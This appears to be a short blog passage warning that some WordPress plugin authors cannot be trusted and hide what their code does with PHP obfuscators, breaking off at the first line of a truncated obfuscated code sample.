It should be no surprise that some plugin authors can no be trusted. We’ve seen that with the BlogPress SEO plugin, but that one was just sloppy. Others actually try to hide what they are doing. An easy way of doing this is to use a PHP code obfuscating application. These will produce code such as:
<?php if(!function_exists("TC9A16C47DA8EEE87")){function TC9A16C47DA8EEE87(...